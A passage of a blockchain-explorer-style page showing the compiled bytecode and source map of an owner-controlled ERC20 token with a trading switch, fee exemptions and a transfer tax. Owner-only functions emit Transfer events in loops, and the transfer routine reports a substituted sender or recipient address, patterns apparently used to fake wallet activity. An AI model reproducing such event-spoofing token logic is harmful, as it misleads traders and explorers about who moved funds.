26020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1291906126e7565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b803a1115611fec575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361205d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205490613001565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29061308f565b60405180910390fd5b6120d6838383612427565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561215a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121519061311d565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546121ea9190612b1d565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036122d0578273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122c391906126e7565b60405180910390a3612416565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123af5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123a291906126e7565b60405180910390a3612415565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161240c91906126e7565b60405180910390a35b5b61242184848461242c565b50505050565b505050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261245a57612459612439565b5b8235905067ffffffffffffffff8111156124775761247661243d565b5b60208301915083602082028301111561249357612492612441565b5b9250929050565b5f819050919050565b6124ac8161249a565b81146124b6575f80fd5b50565b5f813590506124c7816124a3565b92915050565b5f805f604084860312156124e4576124e3612431565b5b5f84013567ffffffffffffffff81111561250157612500612435565b5b61250d86828701612445565b93509350506020612520868287016124b9565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61256c8261252a565b6125768185612534565b9350612586818560208601612544565b61258f81612552565b840191505092915050565b5f6020820190508181035f8301526125b28184612562565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125e3826125ba565b9050919050565b6125f3816125d9565b81146125fd575f80fd5b50565b5f8135905061260e816125ea565b92915050565b5f806040838503121561262a57612629612431565b5b5f61263785828601612600565b9250506020612648858286016124b9565b9150509250929050565b5f8115159050919050565b61266681612652565b82525050565b5f60208201905061267f5f83018461265d565b92915050565b61268e816125d9565b82525050565b5f6020820190506126a75f830184612685565b92915050565b5f602082840312156126c2576126c1612431565b5b5f6126cf84828501612600565b91505092915050565b6126e18161249a565b82525050565b5f6020820190506126fa5f8301846126d8565b92915050565b5f805f6060848603121561271757612716612431565b5b5f61272486828701612600565b935050602061273586828701612600565b9250506040612746868287016124b9565b9150509250925092565b5f60ff82169050919050565b61276581612750565b82525050565b5f60208201905061277e5f83018461275c565b92915050565b5f61ffff82169050919050565b61279a81612784565b82525050565b5f6020820190506127b35f830184612791565b92915050565b6127c281612652565b81146127cc575f80fd5b50565b5f813590506127dd816127b9565b92915050565b5f80604083850312156127f9576127f8612431565b5b5f61280685828601612600565b9250506020612817858286016127cf565b9150509250929050565b5f8083601f84011261283657612835612439565b5b8235905067ffffffffffffffff8111156128535761285261243d565b5b60208301915083602082028301111561286f5761286e612441565b5b9250929050565b5f805f805f6060868803121561288f5761288e612431565b5b5f61289c88828901612600565b955050602086013567ffffffffffffffff8111156128bd576128bc612435565b5b6128c988828901612445565b9450945050604086013567ffffffffffffffff8111156128ec576128eb612435565b5b6128f888828901612821565b92509250509295509295909350565b5f6020828403121561291c5761291b612431565b5b5f612929848285016124b9565b91505092915050565b5f806040838503121561294857612947612431565b5b5f61295585828601612600565b925050602061296685828601612600565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806129e157607f821691505b6020821081036129f4576129f361299d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a2e602083612534565b9150612a39826129fa565b602082019050919050565b5f6020820190508181035f830152612a5b81612a22565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612abc602883612534565b9150612ac782612a62565b604082019050919050565b5f6020820190508181035f830152612ae981612ab0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612b278261249a565b9150612b328361249a565b9250828201905080821115612b4a57612b49612af0565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612baa602583612534565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f436f6e74726163743a2054726164696e67206973206f70656e656421000000005f82015250565b5f612c12601c83612534565b9150612c1d82612bde565b602082019050919050565b5f6020820190508181035f830152612c3f81612c06565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612ca0602683612534565b9150612cab82612c46565b604082019050919050565b5f6020820190508181035f830152612ccd81612c94565b9050919050565b7f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000005f82015250565b5f612d08601a83612534565b9150612d1382612cd4565b602082019050919050565b5f6020820190508181035f830152612d3581612cfc565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f7420737461727465645f82015250565b5f612d70602083612534565b9150612d7b82612d3c565b602082019050919050565b5f6020820190508181035f830152612d9d81612d64565b9050919050565b5f612dae8261249a565b9150612db98361249a565b9250828202612dc78161249a565b91508282048414831517612dde57612ddd612af0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e1c8261249a565b9150612e278361249a565b925082612e3757612e36612de5565b5b828204905092915050565b5f612e4c8261249a565b9150612e578361249a565b9250828203905081811115612e6f57612e6e612af0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ecf602483612534565b9150612eda82612e75565b604082019050919050565b5f6020820190508181035f830152612efc81612ec3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f5d602283612534565b9150612f6882612f03565b604082019050919050565b5f6020820190508181035f830152612f8a81612f51565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612feb602583612534565b9150612ff682612f91565b604082019050919050565b5f6020820190508181035f83015261301881612fdf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613079602383612534565b91506130848261301f565b604082019050919050565b5f6020820190508181035f8301526130a68161306d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613107602683612534565b9150613112826130ad565b604082019050919050565b5f6020820190508181035f830152613134816130fb565b905091905056fea2646970667358221220de36c975385505ee8d2b8bf3adf52509c57bbea6aebe1d012f852d4817f3d46364736f6c634300081a0033
Deployed Bytecode Sourcemap
9342:4814:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11015:272;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3101:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9679:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10755:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9566:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3422:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4408:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9604:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9720:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9842:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3321:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4945:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9800:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9512:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10621:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11882:282;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3538:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;823:103;;;:::i;:::-;;11589:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9926:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;601:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3209:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11295:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9463:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5243:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9640:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3689:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10457:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10860:147;;;:::i;:::-;;9384:72;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12476:282;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3897:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12172:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;934:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11015:272;11127:13;11143:12;:10;:12::i;:::-;11127:28;;11171:9;11166:114;11190:10;;:17;;11186:1;:21;11166:114;;;11229:39;11239:5;11246:10;;11257:1;11246:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11261:6;11229:9;:39::i;:::-;11209:3;;;;;;;11166:114;;;;11116:171;11015:272;;;:::o;3101:100::-;3155:13;3188:5;3181:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3101:100;:::o;4206:194::-;4314:4;4331:39;4340:12;:10;:12::i;:::-;4354:7;4363:6;4331:8;:39::i;:::-;4388:4;4381:11;;4206:194;;;;:::o;9679:34::-;;;;;;;;;;;;;:::o;10755:97::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10836:8:::1;10827:6;;:17;;;;;;;;;;;;;;;;;;10755:97:::0;:::o;9566:31::-;;;;;;;;;;;;;:::o;3422:108::-;3483:7;3510:12;;3503:19;;3422:108;:::o;4408:529::-;4548:4;4565:36;4575:6;4583:9;4594:6;4565:9;:36::i;:::-;4614:24;4641:11;:19;4653:6;4641:19;;;;;;;;;;;;;;;:33;4661:12;:10;:12::i;:::-;4641:33;;;;;;;;;;;;;;;;4614:60;;4727:6;4707:16;:26;;4685:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;4837:57;4846:6;4854:12;:10;:12::i;:::-;4887:6;4868:16;:25;4837:8;:57::i;:::-;4925:4;4918:11;;;4408:529;;;;;:::o;9604:29::-;;;;;;;;;;;;;:::o;9720:71::-;;;;;;;;;;;;;:::o;9842:36::-;;;:::o;3321:93::-;3379:5;3404:2;3397:9;;3321:93;:::o;4945:290::-;5058:4;5075:130;5098:12;:10;:12::i;:::-;5125:7;5184:10;5147:11;:25;5159:12;:10;:12::i;:::-;5147:25;;;;;;;;;;;;;;;:34;5173:7;5147:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;5075:8;:130::i;:::-;5223:4;5216:11;;4945:290;;;;:::o;9800:35::-;;;:::o;9512:45::-;9552:5;9512:45;:::o;10621:128::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10731:10:::1;10706:12;:22;10719:8;10706:22;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;10621:128:::0;;:::o;11882:282::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12042:9:::1;12037:120;12061:8;;:15;;12057:1;:19;12037:120;;;12121:8;;12130:1;12121:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12103:42;;12112:7;12103:42;;;12134:7;;12142:1;12134:10;;;;;;;:::i;:::-;;;;;;;;12103:42;;;;;;:::i;:::-;;;;;;;;12078:3;;;;;;;12037:120;;;;11882:282:::0;;;;;:::o;3538:143::-;3628:7;3655:9;:18;3665:7;3655:18;;;;;;;;;;;;;;;;3648:25;;3538:143;;;:::o;823:103::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;888:30:::1;915:1;888:18;:30::i;:::-;823:103::o:0;11589:285::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11752:9:::1;11747:120;11771:8;;:15;;11767:1;:19;11747:120;;;11831:8;;11840:1;11831:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11813:42;;11822:7;11813:42;;;11844:7;;11852:1;11844:10;;;;;;;:::i;:::-;;;;;;;;11813:42;;;;;;:::i;:::-;;;;;;;;11788:3;;;;;;;11747:120;;;;11589:285:::0;;;;;:::o;9926:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;601:87::-;647:7;674:6;;;;;;;;;;;667:13;;601:87;:::o;3209:104::-;3265:13;3298:7;3291:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3209:104;:::o;11295:286::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11459:9:::1;11454:120;11478:8;;:15;;11474:1;:19;11454:120;;;11538:8;;11547:1;11538:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11520:42;;11529:7;11520:42;;;11551:7;;11559:1;11551:10;;;;;;;:::i;:::-;;;;;;;;11520:42;;;;;;:::i;:::-;;;;;;;;11495:3;;;;;;;11454:120;;;;11295:286:::0;;;;;:::o;9463:42::-;9500:5;9463:42;:::o;5243:475::-;5361:4;5378:24;5405:11;:25;5417:12;:10;:12::i;:::-;5405:25;;;;;;;;;;;;;;;:34;5431:7;5405:34;;;;;;;;;;;;;;;;5378:61;;5492:15;5472:16;:35;;5450:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;5608:67;5617:12;:10;:12::i;:::-;5631:7;5659:15;5640:16;:34;5608:8;:67::i;:::-;5706:4;5699:11;;;5243:475;;;;:::o;9640:32::-;;;;;;;;;;;;;:::o;3689:200::-;3800:4;3817:42;3827:12;:10;:12::i;:::-;3841:9;3852:6;3817:9;:42::i;:::-;3877:4;3870:11;;3689:200;;;;:::o;10457:156::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10584:21:::1;10561:20;:44;;;;10457:156:::0;:::o;10860:147::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10934:5:::1;10921:18;;:9;;;;;;;;;;;:18;;;10913:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10995:4;10983:9;;:16;;;;;;;;;;;;;;;;;;10860:147::o:0;9384:72::-;;;:::o;12476:282::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12636:9:::1;12631:120;12655:8;;:15;;12651:1;:19;12631:120;;;12715:8;;12724:1;12715:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12697:42;;12706:7;12697:42;;;12728:7;;12736:1;12728:10;;;;;;;:::i;:::-;;;;;;;;12697:42;;;;;;:::i;:::-;;;;;;;;12672:3;;;;;;;12631:120;;;;12476:282:::0;;;;;:::o;3897:176::-;4011:7;4038:11;:18;4050:5;4038:18;;;;;;;;;;;;;;;:27;4057:7;4038:27;;;;;;;;;;;;;;;;4031:34;;3897:176;;;;:::o;12172:296::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12346:9:::1;12341:120;12365:8;;:15;;12361:1;:19;12341:120;;;12425:8;;12434:1;12425:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12407:42;;12416:7;12407:42;;;12438:7;;12446:1;12438:10;;;;;;;:::i;:::-;;;;;;;;12407:42;;;;;;:::i;:::-;;;;;;;;12382:3;;;;;;;12341:120;;;;12172:296:::0;;;;;:::o;934:238::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1057:1:::1;1037:22;;:8;:22;;::::0;1015:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1136:28;1155:8;1136:18;:28::i;:::-;934:238:::0;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;12921:1232::-;13075:4;13060:19;;:11;;;;;;;;;;;:19;;;13052:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;13142:4;13127:19;;:11;;;;;;;;;;;:19;;;:41;;;;;13163:5;13150:18;;:9;;;;;;;;;;;:18;;;13127:41;13123:200;;;13219:7;:5;:7::i;:::-;13211:15;;:4;:15;;;:32;;;;13236:7;:5;:7::i;:::-;13230:13;;:2;:13;;;13211:32;13185:126;;;;;;;;;;;;:::i;:::-;;;;;;;;;13123:200;13335:23;13361:6;13335:32;;13398:1;13382:18;;:4;;;;;;;;;;;:18;;;;:37;;;;;13412:7;:5;:7::i;:::-;13404:15;;:4;:15;;;;13382:37;:54;;;;;13429:7;:5;:7::i;:::-;13423:13;;:2;:13;;;;13382:54;13378:713;;;13453:12;13496:4;;;;;;;;;;;13488:12;;:4;:12;;;13484:66;;13528:6;13521:13;;13484:66;13574:4;;;;;;;;;;;13568:10;;:2;:10;;;:26;;;;13588:6;;;;;;;;;;;13582:12;;:2;:12;;;13568:26;13564:150;;;13622:7;13615:14;;13648:50;13677:20;;13648:28;:50::i;:::-;13564:150;13754:4;13732:26;;:12;:18;13745:4;13732:18;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;:54;;;;13782:4;13762:24;;:12;:16;13775:2;13762:16;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;13732:54;13728:103;;;13814:1;13807:8;;13728:103;13856:1;13849:4;:8;13845:235;;;13878:22;9552:5;13903:32;;13913:4;13904:6;:13;;;;:::i;:::-;13903:32;;;;:::i;:::-;13878:57;;13981:14;13972:6;:23;;;;:::i;:::-;13954:41;;14014:50;14030:4;14036:11;;;;;;;;;;;14049:14;14014:15;:50::i;:::-;13859:221;13845:235;13438:653;13378:713;14103:42;14119:4;14125:2;14129:15;14103;:42::i;:::-;13041:1112;12921:1232;;;:::o;7869:380::-;8022:1;8005:19;;:5;:19;;;7997:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8103:1;8084:21;;:7;:21;;;8076:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8187:6;8157:11;:18;8169:5;8157:18;;;;;;;;;;;;;;;:27;8176:7;8157:27;;;;;;;;;;;;;;;:36;;;;8225:7;8209:32;;8218:5;8209:32;;;8234:6;8209:32;;;;;;:::i;:::-;;;;;;;;7869:380;;;:::o;1180:191::-;1254:16;1273:6;;;;;;;;;;;1254:25;;1299:8;1290:6;;:17;;;;;;;;;;;;;;;;;;1354:8;1323:40;;1344:8;1323:40;;;;;;;;;;;;1243:128;1180:191;:::o;12766:147::-;12861:6;12847:11;:20;12843:63;;;12886:8;;;12843:63;12766:147;:::o;5726:998::-;5884:1;5866:20;;:6;:20;;;5858:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5968:1;5947:23;;:9;:23;;;5939:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6023:47;6044:6;6052:9;6063:6;6023:20;:47::i;:::-;6083:21;6107:9;:17;6117:6;6107:17;;;;;;;;;;;;;;;;6083:41;;6174:6;6157:13;:23;;6135:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;6318:6;6302:13;:22;6282:9;:17;6292:6;6282:17;;;;;;;;;;;;;;;:42;;;;6370:6;6346:9;:20;6356:9;6346:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6403:9;;;;;;;;;;;6393:19;;:6;:19;;;6389:269;;6454:9;6434:38;;6443:9;;;;;;;;;;;6434:38;;;6465:6;6434:38;;;;;;:::i;:::-;;;;;;;;6389:269;;;6507:9;;;;;;;;;;;6494:22;;:9;:22;;;6490:168;;6555:9;;;;;;;;;;;6538:35;;6547:6;6538:35;;;6566:6;6538:35;;;;;;:::i;:::-;;;;;;;;6490:168;;;6628:9;6611:35;;6620:6;6611:35;;;6639:6;6611:35;;;;;;:::i;:::-;;;;;;;;6490:168;6389:269;6670:46;6690:6;6698:9;6709:6;6670:19;:46::i;:::-;5847:877;5726:998;;;:::o;8257:125::-;;;;:::o;8390:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:704::-;1745:6;1753;1761;1810:2;1798:9;1789:7;1785:23;1781:32;1778:119;;;1816:79;;:::i;:::-;1778:119;1964:1;1953:9;1949:17;1936:31;1994:18;1986:6;1983:30;1980:117;;;2016:79;;:::i;:::-;1980:117;2129:80;2201:7;2192:6;2181:9;2177:22;2129:80;:::i;:::-;2111:98;;;;1907:312;2258:2;2284:53;2329:7;2320:6;2309:9;2305:22;2284:53;:::i;:::-;2274:63;;2229:118;1650:704;;;;;:::o;2360:99::-;2412:6;2446:5;2440:12;2430:22;;2360:99;;;:::o;2465:169::-;2549:11;2583:6;2578:3;2571:19;2623:4;2618:3;2614:14;2599:29;;2465:169;;;;:::o;2640:139::-;2729:6;2724:3;2719;2713:23;2770:1;2761:6;2756:3;2752:16;2745:27;2640:139;;;:::o;2785:102::-;2826:6;2877:2;2873:7;2868:2;2861:5;2857:14;2853:28;2843:38;;2785:102;;;:::o;2893:377::-;2981:3;3009:39;3042:5;3009:39;:::i;:::-;3064:71;3128:6;3123:3;3064:71;:::i;:::-;3057:78;;3144:65;3202:6;3197:3;3190:4;3183:5;3179:16;3144:65;:::i;:::-;3234:29;3256:6;3234:29;:::i;:::-;3229:3;3225:39;3218:46;;2985:285;2893:377;;;;:::o;3276:313::-;3389:4;3427:2;3416:9;3412:18;3404:26;;3476:9;3470:4;3466:20;3462:1;3451:9;3447:17;3440:47;3504:78;3577:4;3568:6;3504:78;:::i;:::-;3496:86;;3276:313;;;;:::o;3595:126::-;3632:7;3672:42;3665:5;3661:54;3650:65;;3595:126;;;:::o;3727:96::-;3764:7;3793:24;3811:5;3793:24;:::i;:::-;3782:35;;3727:96;;;:::o;3829:122::-;3902:24;3920:5;3902:24;:::i;:::-;3895:5;3892:35;3882:63;;3941:1;3938;3931:12;3882:63;3829:122;:::o;3957:139::-;4003:5;4041:6;4028:20;4019:29;;4057:33;4084:5;4057:33;:::i;:::-;3957:139;;;;:::o;4102:474::-;4170:6;4178;4227:2;4215:9;4206:7;4202:23;4198:32;4195:119;;;4233:79;;:::i;:::-;4195:119;4353:1;4378:53;4423:7;4414:6;4403:9;4399:22;4378:53;:::i;:::-;4368:63;;4324:117;4480:2;4506:53;4551:7;4542:6;4531:9;4527:22;4506:53;:::i;:::-;4496:63;;4451:118;4102:474;;;;;:::o;4582:90::-;4616:7;4659:5;4652:13;4645:21;4634:32;;4582:90;;;:::o;4678:109::-;4759:21;4774:5;4759:21;:::i;:::-;4754:3;4747:34;4678:109;;:::o;4793:210::-;4880:4;4918:2;4907:9;4903:18;4895:26;;4931:65;4993:1;4982:9;4978:17;4969:6;4931:65;:::i;:::-;4793:210;;;;:::o;5009:118::-;5096:24;5114:5;5096:24;:::i;:::-;5091:3;5084:37;5009:118;;:::o;5133:222::-;5226:4;5264:2;5253:9;5249:18;5241:26;;5277:71;5345:1;5334:9;5330:17;5321:6;5277:71;:::i;:::-;5133:222;;;;:::o;5361:329::-;5420:6;5469:2;5457:9;5448:7;5444:23;5440:32;5437:119;;;5475:79;;:::i;:::-;5437:119;5595:1;5620:53;5665:7;5656:6;5645:9;5641:22;5620:53;:::i;:::-;5610:63;;5566:117;5361:329;;;;:::o;5696:118::-;5783:24;5801:5;5783:24;:::i;:::-;5778:3;5771:37;5696:118;;:::o;5820:222::-;5913:4;5951:2;5940:9;5936:18;5928:26;;5964:71;6032:1;6021:9;6017:17;6008:6;5964:71;:::i;:::-;5820:222;;;;:::o;6048:619::-;6125:6;6133;6141;6190:2;6178:9;6169:7;6165:23;6161:32;6158:119;;;6196:79;;:::i;:::-;6158:119;6316:1;6341:53;6386:7;6377:6;6366:9;6362:22;6341:53;:::i;:::-;6331:63;;6287:117;6443:2;6469:53;6514:7;6505:6;6494:9;6490:22;6469:53;:::i;:::-;6459:63;;6414:118;6571:2;6597:53;6642:7;6633:6;6622:9;6618:22;6597:53;:::i;:::-;6587:63;;6542:118;6048:619;;;;;:::o;6673:86::-;6708:7;6748:4;6741:5;6737:16;6726:27;;6673:86;;;:::o;6765:112::-;6848:22;6864:5;6848:22;:::i;:::-;6843:3;6836:35;6765:112;;:::o;6883:214::-;6972:4;7010:2;6999:9;6995:18;6987:26;;7023:67;7087:1;7076:9;7072:17;7063:6;7023:67;:::i;:::-;6883:214;;;;:::o;7103:89::-;7139:7;7179:6;7172:5;7168:18;7157:29;;7103:89;;;:::o;7198:115::-;7283:23;7300:5;7283:23;:::i;:::-;7278:3;7271:36;7198:115;;:::o;7319:218::-;7410:4;7448:2;7437:9;7433:18;7425:26;;7461:69;7527:1;7516:9;7512:17;7503:6;7461:69;:::i;:::-;7319:218;;;;:::o;7543:116::-;7613:21;7628:5;7613:21;:::i;:::-;7606:5;7603:32;7593:60;;7649:1;7646;7639:1